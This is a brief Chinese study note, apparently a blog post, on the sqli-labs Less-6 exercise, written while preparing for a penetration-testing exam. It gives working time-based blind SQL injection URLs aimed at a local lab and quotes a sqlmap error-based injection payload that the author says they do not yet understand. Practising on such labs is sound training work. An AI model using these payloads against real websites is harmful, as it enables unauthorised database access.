Less 6

这道题也是简单地批爆
就是基于时间盲注，并且睡眠时间是延长了10倍而已。

http://127.0.0.1/Less-6/?id=1.1" or if((length(database())%3C5),sleep(0.3),0)%20--+

http://127.0.0.1/Less-6/?id=1.1" or if((length(database())%3C5),sleep(0.3),0)%20--+

sqlmap跑一跑。

但是我使用sqlmap的时候，发现sqlmap有一种报错注入，看得我不是很懂，
他的payload是：
id=1" AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x71766a6a71,(SELECT (ELT(5957=5957,1))),0x716b786a71,0x78))s), 8446744073709551610, 8446744073709551610)))-- XkEt

尝试后是这样子的：

看得我不是很明白，但是这次是为了备考pte的，时间有限，先不纠结这个点了，这个姿势后来我考完之后，在琢磨琢磨。

要备注一下，博客园有待后续这个提醒选项么，把这篇笔记设置为有待处理知识点.......